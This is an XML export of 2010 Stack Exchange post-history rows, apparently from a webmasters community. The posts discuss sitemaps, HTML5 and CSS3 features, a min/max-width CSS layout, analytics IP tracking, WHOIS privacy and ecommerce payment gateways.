  <row Id="9539" PostHistoryTypeId="2" PostId="4813" RevisionGUID="b97dee7c-9edd-4057-91f1-485758f4916a" CreationDate="2010-11-02T00:59:38.867" UserId="2288" Text="DO NOT USE SITEMAPS&#xD;&#xA;-------------------&#xD;&#xA;&#xD;&#xA;Sitemap are mainly for sites that do not timestamp indexes and nodes.... SE does both for it's core content, so having a sitemap will slow a crawler down... Yes, that's right, it will slow it down, because the sitemap lacks the metadata that the core indexes have. On the flipside, I have no real idea how google builds it's bots, just know if I was going to bot SE, I would NOT use the sitemap. Plus, some site's don't even notice that there sitemaps are all %!@$ -- and if you've built a profile on a sitemap that's all the sudden not working, and you've got to create a new profile off the real site. &#xD;&#xA;&#xD;&#xA;So, you're right -- **DO NOT USE SITEMAPS!**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; " />
  <row Id="9540" PostHistoryTypeId="5" PostId="4813" RevisionGUID="efcba17a-ca35-4e6c-ad85-cad93a2bbbc2" CreationDate="2010-11-02T01:10:03.583" UserId="2288" Comment="added 359 characters in body; edited body" Text="DO NOT USE SITEMAPS&#xD;&#xA;-------------------&#xD;&#xA;&#xD;&#xA;Sitemap are mainly for sites that do not timestamp indexes and nodes.... SE does both for it's core content, so having a sitemap will slow a crawler down... Yes, that's right, it will slow it down, because the sitemap lacks the metadata that the core indexes have. On the flipside, I have no real idea how google builds it's bots, just know if I was going to bot SE, I would NOT use the sitemap. Plus, some site's don't even notice that their sitemaps are all %!@$ -- and if you've built a profile on a sitemap that's all the sudden not working, and you've got to create a new profile off the real site. &#xD;&#xA;&#xD;&#xA;So, you're right -- **DO NOT USE SITEMAPS!**&#xD;&#xA;&#xD;&#xA;**TIP:** One thing you should do though is keep the semantics of the tags the same over time as much as possible, meaning if &quot;Asked One Hour Ago&quot; has a metadata embed in it like:&#xD;&#xA;&#xD;&#xA;    title=&quot;2010-11-02 00:07:15Z&quot; class=&quot;relativetime&quot;&#xD;&#xA;&#xD;&#xA;never change the string name `relativetime`, unless the meaning of the data in `title` has changed. **NEVER... :-)**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; " />
  <row Id="9541" PostHistoryTypeId="5" PostId="990" RevisionGUID="238a28ea-7506-435e-8c00-732e9bab1196" CreationDate="2010-11-02T01:15:45.490" UserId="179" Comment="clarified scripts comment" Text="To keep track of features and specifications support you can check &lt;a href=&quot;http://caniuse.com/&quot;&gt;When can I use&lt;/a&gt;. It includes HTML5 and CSS3 features and things like SVG, PNG, CSS2.1 and CSS2. It also tracks their status of approval (Recommendation, Proposed Recommendation, Candidate Recommendation, Working Draft, IETF standard). &lt;a href=&quot;http://www.findmebyip.com/litmus/&quot;&gt;FindMeByIP&lt;/a&gt; maintains matrices of supported CSS3 features only, by browser.&#xD;&#xA;&#xD;&#xA;Some rejiggering and simplification of syntax took place in the nuts and bolts:&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt;Simplified doctype string: &lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Simplified &lt;code&gt;language&lt;/code&gt; attribute for &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt; tag: &lt;code&gt;&amp;lt;html lang=&quot;en&quot;&amp;gt;&lt;/code&gt;&lt;br /&gt;(can still include &lt;code&gt;xmlns&lt;/code&gt; and &lt;code&gt;xml:lang&lt;/code&gt; if you want XML compliance)&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Dedicated &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; tag for &lt;code&gt;charset&lt;/code&gt;: &lt;code&gt;&amp;lt;meta charset=&quot;utf-8&quot; /&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xD;&#xA;&lt;li&gt;&lt;code&gt;script&lt;/code&gt; no longer accepts &lt;code&gt;type&lt;/code&gt; attribute, requires &lt;code&gt;charset&lt;/code&gt; for remote scripts:&lt;br /&gt;&lt;code&gt;&amp;lt;script src=&quot;/media/js/jquery.js&quot; charset=&quot;utf-8&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;(inline scripts need no additional attributes at all)&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;HTML5 brings the ability for your markup to be much more &lt;em&gt;semantic&lt;/em&gt;, and overall much easier to read/write and have smaller file sizes. Instead of having &lt;code&gt;&amp;lt;div id=&quot;nav&quot;&amp;gt;&lt;/code&gt;, you just have &lt;code&gt;&amp;lt;nav&amp;gt;&lt;/code&gt;. Doesn't seem like much but it adds up.&#xD;&#xA;&#xD;&#xA;Many elements from XHTML1 and HTML4 have been deprecated. The following elements are not supported in HTML5: &lt;code&gt;&amp;lt;acronym&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;applet&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;basefont&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;big&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;center&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;dir&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;font&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;frame&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;frameset&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;noframes&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;s&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;strike&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;tt&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;u&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;xmp&amp;gt;&lt;/code&gt;.&#xD;&#xA;&#xD;&#xA;Several new elements in HTML5 are meant to only add more semantic markup, and will do nothing except provide a more meaningful alternative to &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;. These new elements include: &lt;code&gt;&amp;lt;article&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;section&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;aside&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;hgroup&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;header&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;footer&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;nav&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;time&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;mark&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;figure&amp;gt;&lt;/code&gt;, and &lt;code&gt;&amp;lt;figcaption&amp;gt;&lt;/code&gt;.&#xD;&#xA;&#xD;&#xA;HTML5 forms are &lt;em&gt;greatly&lt;/em&gt; improved.&#xD;&#xA;&#xD;&#xA;New Input Types&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt;&#xD;&#xA;&lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/number-state.html#color-state&quot;&gt;color&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/states-of-the-type-attribute.html#e-mail-state&quot;&gt;email&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/states-of-the-type-attribute.html#date-state&quot;&gt;date&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/states-of-the-type-attribute.html#month-state&quot;&gt;month&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/states-of-the-type-attribute.html#week-state&quot;&gt;week&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/states-of-the-type-attribute.html#time-state&quot;&gt;time&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/states-of-the-type-attribute.html#date-and-time-state&quot;&gt;datetime&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/states-of-the-type-attribute.html#local-date-and-time-state&quot;&gt;datetime-local&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/number-state.html#number-state&quot;&gt;number&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/number-state.html#range-state&quot;&gt;range&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/states-of-the-type-attribute.html#text-state-and-search-state&quot;&gt;search&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/states-of-the-type-attribute.html#telephone-state&quot;&gt;tel&lt;/a&gt;, and &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/states-of-the-type-attribute.html#url-state&quot;&gt;url&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;New Attributes:&#xD;&#xA;&lt;ul&gt;&lt;li&gt;&#xD;&#xA;&lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/common-input-element-attributes.html#the-required-attribute&quot;&gt;required&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#autofocusing-a-form-control&quot;&gt;autofocus&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/common-input-element-attributes.html#attr-input-pattern&quot;&gt;pattern&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/common-input-element-attributes.html#the-list-attribute&quot;&gt;list&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/common-input-element-attributes.html#the-autocomplete-attribute&quot;&gt;autocomplete&lt;/a&gt; and &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/common-input-element-attributes.html#the-placeholder-attribute&quot;&gt;placeholder&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;New Elements&#xD;&#xA;&lt;ul&gt;&lt;li&gt;&#xD;&#xA;&lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/the-button-element.html#the-keygen-element&quot;&gt;&lt;code&gt;&amp;lt;keygen&amp;gt;&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/the-button-element.html#the-datalist-element&quot;&gt;&lt;code&gt;&amp;lt;datalist&amp;gt;&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/the-button-element.html#the-output-element&quot;&gt;&lt;code&gt;&amp;lt;output&amp;gt;&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/the-button-element.html#the-meter-element&quot;&gt;&lt;code&gt;&amp;lt;meter&amp;gt;&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/the-button-element.html#the-progress-element&quot;&gt;&lt;code&gt;&amp;lt;progress&amp;gt;&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;We could go into forms all day, but here are some resources to explain all this new stuff better.&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt;&lt;a href=&quot;http://diveintohtml5.org/forms.html&quot;&gt;A Form of Madness&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.yourinspirationweb.com/en/the-future-of-the-web-how-well-create-forms-in-html5/&quot;&gt;The Future of The Web: How We’ll Create Form in HTML5&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.456bereastreet.com/archive/201004/html5_input_types/&quot;&gt;HTML5 Input Types&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;&lt;li&gt;&lt;a href=&quot;http://24ways.org/2009/have-a-field-day-with-html5-forms&quot;&gt;Have a Field Day with HTML5 Forms&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;&#xD;&#xA;&lt;li&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/html-css-techniques/rethinking-forms-in-html5/&quot;&gt;Rethinking Forms in HTML5&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;&lt;li&gt;&lt;a href=&quot;http://snook.ca/archives/html_and_css/html5-forms-are-coming&quot;&gt;HTML5 Forms Are Coming&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;CSS3 brings the wonderful of &lt;a href=&quot;http://www.w3.org/TR/css3-mediaqueries/&quot;&gt;Media Queries&lt;/a&gt;. Media Queries are so, so, &lt;strong&gt;so&lt;/strong&gt; great. Not available in IE8 and below, but will be supported by IE9.&#xD;&#xA;&#xD;&#xA;CSS3 has &lt;a href=&quot;http://www.w3.org/TR/css3-content/#counters&quot;&gt;incrementing counters&lt;/a&gt;. You can use these to auto-number elements without an ordered-list using the &lt;code&gt;:before&lt;/code&gt; pseudo-selector and the &lt;code&gt;content&lt;/code&gt; style when an ordered-list or numbering would be semantically incorrect. (For example, numbering the steps of filling out form fields.)&#xD;&#xA;&#xD;&#xA;If you're a fan of CSS Resets, there's an &lt;a href=&quot;http://html5doctor.com/html-5-reset-stylesheet/&quot;&gt;HTML5 CSS Reset&lt;/a&gt; available from HTML5 Doctor. I have made three additions to this reset for my personal pages:&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt;&lt;code&gt;text-rendering: optimizeLegibility;&lt;/code&gt; added to the styles in the definition for &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xD;&#xA;&lt;li&gt;&lt;code&gt;label&lt;/code&gt; included in definition with &lt;code&gt;input&lt;/code&gt; and &lt;code&gt;select&lt;/code&gt; since it needs &lt;code&gt;vertical-align: middle;&lt;/code&gt;&lt;/li&gt;&#xD;&#xA;&lt;li&gt;styles for &lt;code&gt;ins&lt;/code&gt; and &lt;code&gt;:focus&lt;/code&gt; from &lt;a href=&quot;http://meyerweb.com/eric/tools/css/reset/&quot;&gt;Eric Meyer's CSS Reset&lt;/a&gt; added back in&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;A competing reset called &lt;a href=&quot;http://code.google.com/p/reset5/&quot;&gt;reset5&lt;/a&gt; is available, but I have not yet evaluated it personally. It is based on &lt;em&gt;both&lt;/em&gt; the Eric Meyer and HTML5 Doctor resets.&#xD;&#xA;&#xD;&#xA;The &lt;a href=&quot;http://heideri.ch/jso/&quot;&gt;HTML5 Security Cheatsheet&lt;/a&gt; tracks bugs in HTML5 features as implemented in various browsers, and also includes bugs in existing features that are good to keep track of as well.&#xD;&#xA;&#xD;&#xA;Using HTML5 elements does not automatically make your code semantic, however. The WHATWG has written an article called &lt;a href=&quot;http://blog.whatwg.org/is-not-just-a-semantic&quot;&gt;&amp;lt;section&amp;gt; is not just a &quot;semantic &amp;lt;div&amp;gt;&quot;&lt;/a&gt; explaining that it is not simply a container element.&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;In HTML 5, there is an algorithm for constructing an outline view of documents. This can be used, for example by AT, to help a user navigate through a document. And &amp;lt;section&amp;gt; and friends are an important part of this algorithm. Each time you nest a &amp;lt;section&amp;gt;, you increase the outline depth by 1 (in case you are wondering what the advantages of this model are compared to the traditional &amp;lt;h1&amp;gt;-&amp;lt;h6&amp;gt; model, consider a web based feedreader that wants to integrate the document structure of the syndicated content with that of the surrounding site. In HTML 4 this means parsing all the content and renumbering all the headings. In HTML5 the headings end up at the right depth for free).&#xD;&#xA;&#xD;&#xA;&lt;br /&gt;&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;&#xD;&#xA;&#xD;&#xA;If you just blindly convert all the &amp;lt;div&amp;gt;s on your pages to &amp;lt;sections&amp;gt; it's pretty unlikely your page will have the outline you expected. And, apart from being a semantic faux-pas, this will confuse the hell out of people who rely on headings for navigation.&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;Like everything else in this world, there's a framework for HTML5 web applications called &lt;a href=&quot;http://www.sproutcore.com/&quot;&gt;SproutCore&lt;/a&gt;, built by an &lt;a href=&quot;http://blog.sproutcore.com/post/756343010/the-next-revolution&quot;&gt;ex-Apple engineer&lt;/a&gt; named Charles Jolley.&#xD;&#xA;&#xD;&#xA;In addition to &lt;a href=&quot;http://html5rocks.com&quot;&gt;html5rocks.com&lt;/a&gt; you can keep up with &lt;a href=&quot;http://html5doctor.com&quot;&gt;html5doctor.com&lt;/a&gt; and &lt;a href=&quot;http://html5gallery.com&quot;&gt;html5gallery.com&lt;/a&gt;." />
  <row Id="9542" PostHistoryTypeId="5" PostId="4792" RevisionGUID="0848a661-7cdd-42c4-bc43-92accd4c046d" CreationDate="2010-11-02T01:35:24.003" UserId="2288" Comment="added 1437 characters in body" Text="**Example:**&#xD;&#xA;&#xD;&#xA;Currently it does this: &lt;--&gt; &#xD;&#xA;&#xD;&#xA;Want it to do this: &lt;--|-|--&gt;&#xD;&#xA;&#xD;&#xA;**Meaning the core never gets smaller than say 900px, but the core stretches on forever if it's bigger than 900px. Note, currently it's a 3-column, and the sides are fixed, it's the center that grows.**&#xD;&#xA;&#xD;&#xA;It's also be cool if I could control the max flex: |&lt;--|-|--&gt;|&#xD;&#xA;&#xD;&#xA;**Meaning the page would not get smaller than 900x, but not larger than 1200px**&#xD;&#xA;&#xD;&#xA;...so, maybe none of this is possible, or it's crazy easy -- but I've searched high and low for an example, or CSS specs on how to do this, and no luck so far.&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;UPDATE:&#xD;&#xA;-------&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Thanks to Dave, I was able to find a solution... :-) ...thanks Dave!!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[**Example of code**][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #wrapper {&#xD;&#xA;       width: 960px;&#xD;&#xA;       width: expression(&#xD;&#xA;          (document.documentElement.clientWidth &gt; 962)? &quot;960px&quot; :&#xD;&#xA;             (document.documentElement.clientWidth &lt; 762)? &quot;760px&quot; :&#xD;&#xA;                &quot;auto&quot;&#xD;&#xA;       );&#xD;&#xA;       height: 1%;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;**-- OR here's the full HTML with inline JavaScript and CSS --**&#xD;&#xA;&#xD;&#xA;    &lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;      &lt;head&gt;&#xD;&#xA;    	&lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html; charset=ISO-8859-1&quot;&gt;&#xD;&#xA;        &lt;title&gt;Example of max- and min-width&lt;/title&gt;&#xD;&#xA;        &lt;!-- You should of course use external CSS-files, not inline as I use in this example... --&gt;&#xD;&#xA;        &lt;style type=&quot;text/css&quot;&gt;&#xD;&#xA;          #content {&#xD;&#xA;            border: 1px solid red; /* For clarity, remove at will */&#xD;&#xA;            max-width: 960px; /* Corresponds to 1024 with scrollbars */&#xD;&#xA;            min-width: 760px; /* Corresponds to 800 with scrollbars */&#xD;&#xA;            margin: 0 auto; /* Center the block */&#xD;&#xA;            width: 100%;&#xD;&#xA;          }&#xD;&#xA;        &lt;/style&gt;&#xD;&#xA;        &#xD;&#xA;        &lt;!--[if IE 6]&gt;&#xD;&#xA;        &lt;style type=&quot;text/css&quot;&gt;&#xD;&#xA;          #content {&#xD;&#xA;            height: 1%;&#xD;&#xA;            width: 960px; /* Fallback width if javascript is off */&#xD;&#xA;            width: expression(&#xD;&#xA;              (document.documentElement.clientWidth &gt; 962)? &quot;960px&quot; : &#xD;&#xA;                (document.documentElement.clientWidth &lt; 762) ? &quot;760px&quot; : &#xD;&#xA;                  &quot;auto&quot;&#xD;&#xA;            );&#xD;&#xA;          }&#xD;&#xA;        &lt;/style&gt;&#xD;&#xA;        &lt;![endif]--&gt;&#xD;&#xA;      &lt;/head&gt;&#xD;&#xA;      &#xD;&#xA;      &lt;body&gt;&#xD;&#xA;      	&lt;div id=&quot;content&quot;&gt;&#xD;&#xA;          &lt;p&gt;Example Content...&lt;/p&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;      &lt;/body&gt;&#xD;&#xA;      &#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**SOURCE:**  [Friendly Bit, Min-width and Max-width template][2]&#xD;&#xA;&#xD;&#xA;NOTE: Stack Exchange... Rocks!&#xD;&#xA;&#xD;&#xA;  [1]: http://friendlybit.com/files/min-max-template/&#xD;&#xA;  [2]: http://friendlybit.com/css/min-width-and-max-width-template/" />
  <row Id="9543" PostHistoryTypeId="2" PostId="4814" RevisionGUID="b5af2396-80e8-4919-8ede-1db000294bc9" CreationDate="2010-11-02T02:42:45.587" UserId="1064" Text="It helps to track the IP as a [user-defined variable][1] from the start - this requires a server-side tweak to insert the visitor's IP address with the Google Analytics tracking code - example w/PHP:&#xD;&#xA;&#xD;&#xA;    pageTracker._setVar('&lt;?php echo $_SERVER['REMOTE_ADDR']; ?&gt;');&#xD;&#xA;&#xD;&#xA;... you can then filter on the user-defined variable as needed (it's nice to be able to synch analytics activity with activity stored in server logs, too)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;answer=57045" />
  <row Id="9545" PostHistoryTypeId="2" PostId="4816" RevisionGUID="b66b01fd-1120-41ef-b4f2-14d169524103" CreationDate="2010-11-02T04:00:38.157" UserId="2293" Text="Hey, interesting question. I think the answer will require a little bit more of light from infrastructure point of view.&#xD;&#xA;&#xD;&#xA;OK, we have mobile devices, with different sensors, just invented, and they need to be explored.&#xD;&#xA;&#xD;&#xA;Currently, only Safari has some support for it.&#xD;&#xA;&#xD;&#xA;But note that what you asked depends on many things other than just HTML and Javascript API's.&#xD;&#xA;&#xD;&#xA;It needs device send to its firmware/OS the sensor capture. This input will be processed by OS, who will pass this signal to the application. The application by its turn, should have events that bubbles, and also a callback function already made to process the event (will, from this point onwards, it is the same thing as a click or a mouse over).&#xD;&#xA;&#xD;&#xA;But the tricky part is the application, in our case, the browser, have this event bubbling, and allowing an interface so we can attach functions to those. This entirely depends on browsers and devices manufacturers.&#xD;&#xA;&#xD;&#xA;So far I do not know any that is capable of process an event like onTilt, onShake or onBounce.&#xD;&#xA;&#xD;&#xA;That's is what limit us to develop the apps you asked." />
  <row Id="9546" PostHistoryTypeId="2" PostId="4817" RevisionGUID="c8374f2d-428d-48f0-9bd4-d82b2f3f4566" CreationDate="2010-11-02T04:09:03.437" UserDisplayName="delete" Text="Today I am getting lots of traffic from facebook, but the referrer looks like&#xD;&#xA;&#xD;&#xA;    http://www.facebook.com/l.php?url=http://www.example.com/mypage.html&#xD;&#xA;&#xD;&#xA;I've also had this problem before with another page. Is there any way to find out where that might originate from inside facebook?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9547" PostHistoryTypeId="1" PostId="4817" RevisionGUID="c8374f2d-428d-48f0-9bd4-d82b2f3f4566" CreationDate="2010-11-02T04:09:03.437" UserDisplayName="delete" Text="Find a link from facebook" />
  <row Id="9548" PostHistoryTypeId="3" PostId="4817" RevisionGUID="c8374f2d-428d-48f0-9bd4-d82b2f3f4566" CreationDate="2010-11-02T04:09:03.437" UserDisplayName="delete" Text="&lt;facebook&gt;&lt;links&gt;" />
  <row Id="9549" PostHistoryTypeId="5" PostId="4816" RevisionGUID="144a46df-841d-4243-a750-c1f7fe0ba83c" CreationDate="2010-11-02T04:09:16.463" UserId="2293" Comment="added 84 characters in body" Text="Hey, interesting question. I think the answer will require a little bit more of light from infrastructure point of view.&#xD;&#xA;&#xD;&#xA;OK, we have mobile devices, with different sensors, just invented, and they need to be explored.&#xD;&#xA;&#xD;&#xA;Currently, [only Safari has some support for it][1].&#xD;&#xA;&#xD;&#xA;But note that what you asked depends on many things other than just HTML and Javascript API's.&#xD;&#xA;&#xD;&#xA;It needs device send to its firmware/OS the sensor capture. This input will be processed by OS, who will pass this signal to the application. The application by its turn, should have events that bubbles, and also a callback function already made to process the event (will, from this point onwards, it is the same thing as a click or a mouse over).&#xD;&#xA;&#xD;&#xA;But the tricky part is the application, in our case, the browser, have this event bubbling, and allowing an interface so we can attach functions to those. This entirely depends on browsers and devices manufacturers.&#xD;&#xA;&#xD;&#xA;So far I do not know any that is capable of process an event like onTilt, onShake or onBounce.&#xD;&#xA;&#xD;&#xA;That's is what limit us to develop the apps you asked.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.quirksmode.org/blog/archives/2008/08/iphone_events.html" />
  <row Id="9550" PostHistoryTypeId="2" PostId="4818" RevisionGUID="92081f2e-03fd-4aee-94e0-67e7d85a4265" CreationDate="2010-11-02T04:09:24.700" UserId="2379" Text="If you are not using the domain (email, website, etc.) then you could just remove the DNS records for the domain.&#xD;&#xA;&#xD;&#xA;The WhoisPrivacy only hides the information on who owns and administers the domain.  That is all a whois record shows.  A private domain, in your case godaddy domains by proxy, is where the information is defaulted to godaddy.  Only law enforcement is able to get the actual information of who owns the domain.&#xD;&#xA;&#xD;&#xA;I strongly suggest not getting domain privacy. If you dont want to put your business address or home address then register a mail box for the addresses on your domain.  I seldom check a whois, but when i see a private whois, it just turns me off.  &#xD;&#xA;&#xD;&#xA;It also makes no sense if you have a public website that shows an address or phone number to have a privately registered domain.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;As for DNS. Godaddy gives you the ability to use their DNS servers, (create dns records right there), or you can use a DNS service such as Zerigo.com.  DNS servers also have WHOIS records, as do IP Addresses, but these are for the actual servers that manage the name to record transaltions and not your domain name.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9551" PostHistoryTypeId="2" PostId="4819" RevisionGUID="b4e39ce2-8043-47d2-9095-897b2513418d" CreationDate="2010-11-02T04:15:26.023" UserId="2379" Text="http://www.xml-sitemaps.com/ has a good tool for making sitemaps.. It doesnt require a DB, so mssql or mysql it does not care. " />
  <row Id="9552" PostHistoryTypeId="2" PostId="4820" RevisionGUID="2467e7be-30ba-48db-8a3d-be90aed37066" CreationDate="2010-11-02T04:25:53.757" UserId="2293" Text="**Let it crawl.**&#xD;&#xA;&#xD;&#xA;I do the following:&#xD;&#xA;&#xD;&#xA; 1. make the site crawlable in the old way.&#xD;&#xA; 2. make sure I do have a robots.txt with a sitemap indication on it.&#xD;&#xA; 3. make a XML sitemap, but do not submit. Let crawler discover and use it as needed, as part of its discovering and indexing process.&#xD;&#xA;&#xD;&#xA;I generate an extended XML file, which serve as base for many things:&#xD;&#xA;&#xD;&#xA; - Generating the HTML sitemap&#xD;&#xA; - Help the 404 (not found) page&#xD;&#xA; - Help with other tiny tasks, like making breadcrumbs, or getting some metadata on my Facade pattern for a page.&#xD;&#xA;&#xD;&#xA;Hence I do have all this, why not serve also a xml sitemap and let the crawler do what it would like to do, if it would like to do it?" />
  <row Id="9553" PostHistoryTypeId="2" PostId="4821" RevisionGUID="5ade890b-c452-47d2-9cb2-21f53d18e1f0" CreationDate="2010-11-02T04:40:14.143" UserId="2293" Text="Is the website running PHP?&#xD;&#xA;&#xD;&#xA;I made a PHP script for myself some time ago. Let a comment if is the case and I give the 4shared link." />
  <row Id="9554" PostHistoryTypeId="5" PostId="4784" RevisionGUID="622f6f76-d245-42c3-9b13-b5ea448821fb" CreationDate="2010-11-02T04:48:00.893" UserId="1757" Comment="added 861 characters in body" Text="There are a lot of hosted ecommerce solutions, like Shopify and Yahoo Merchant Solutions, etc. If you're new to e-commerce, you should probably use one of those. Those sites should set up all of the payment processing for you.&#xD;&#xA;&#xD;&#xA;But a store with that level of regular revenue definitely shouldn't be using PayPayl Payment Standard. That is for low-revenue small businesses. It takes the customer off-site, takes a higher percentage, and is generally less professional.&#xD;&#xA;&#xD;&#xA;Personally, I would have them talk to their bank about opening a merchant account and find an online payment processing gateway (one with a payment module for Magento) for Europe. Often, those two services are packaged together, and the sales reps for the bank, payment processor, or merchant account provider will walk them through account creation. You don't need to, and shouldn't be, involved. All you need is access to the payment processing API.&#xD;&#xA;&#xD;&#xA;Then just install Magento and configure the payment processing options to use the payment gateway the client signed up with.&#xD;&#xA;&#xD;&#xA;**Edit:**&#xD;&#xA;If you want to use Drupal UberCart, then you just need to see what payment processing modules are available for it and pick a payment processing gateway that is supported. Otherwise, if you pick one that isn't supported, you'll have to write your own module based on documentation from the gateway provider. This usually isn't too hard, and I had to do this on my very first e-Commerce site, but if you want to save time, you ought to just use a popular payment processor with a well-supported API.&#xD;&#xA;&#xD;&#xA;Though, since this store has a high sales volume, I would consider trying out Magento Pro or Enterprise. Those are the only versions that are PA-DSS compliant and come with support. But really any version of Magento will provide a more robust online store than DrupalUbercart, which itself is probably more suited to smaller sites." />
